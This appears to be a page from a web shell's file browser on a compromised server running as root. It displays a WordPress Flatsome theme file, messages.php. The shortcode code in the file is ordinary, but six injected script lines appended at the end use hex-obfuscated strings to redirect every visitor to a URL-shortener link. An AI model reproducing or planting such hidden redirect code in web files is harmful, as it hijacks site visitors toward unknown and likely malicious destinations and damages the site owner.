HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/chualams/wp-content/themes/flatsome/inc/shortcodes/messages.php
<?php 
// [message_box]
function flatsome_message_box($atts, $content = null) {
	extract(shortcode_atts(array(
        'bg'  => '',
        'class' => '',
        'visibility' => '',
        'bg_color' => '',
        'text_color'  => 'dark',
        'padding' => '15',
	), $atts));

  if($visibility == 'hidden') return;

  $classes = array('message-box','relative');
  
  if( $class ) $classes[] = $class;
  if( $visibility ) $classes[] = $visibility;

  if($bg) {
    $bg = flatsome_get_image_url($bg);
  }

  if($text_color == 'dark') $classes[] = 'dark';

  $css_args = array(
      array( 'attribute' => 'padding-top', 'value' => $padding, 'unit' => 'px'),
      array( 'attribute' => 'padding-bottom', 'value' => $padding, 'unit' => 'px'),
   );
   $css_bg = array();
   if($bg) {
        $css_bg = array(
            array( 'attribute' => 'background-image', 'value' => 'url('.$bg.')'),
        );
    }
   $css_bg_overlay = array(
      array( 'attribute' => 'background-color', 'value' => $bg_color ),
   );
	
	return '<div class="'.implode(' ', $classes).'" '.get_shortcode_inline_css($css_args).'><div class="message-box-bg-image bg-fill fill" '.get_shortcode_inline_css($css_bg).'></div><div class="message-box-bg-overlay bg-fill fill" '.get_shortcode_inline_css($css_bg_overlay).'></div><div class="container relative"><div class="inner last-reset">'.do_shortcode($content).'</div></div></div>';
}

add_shortcode("message_box", "flatsome_message_box");
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>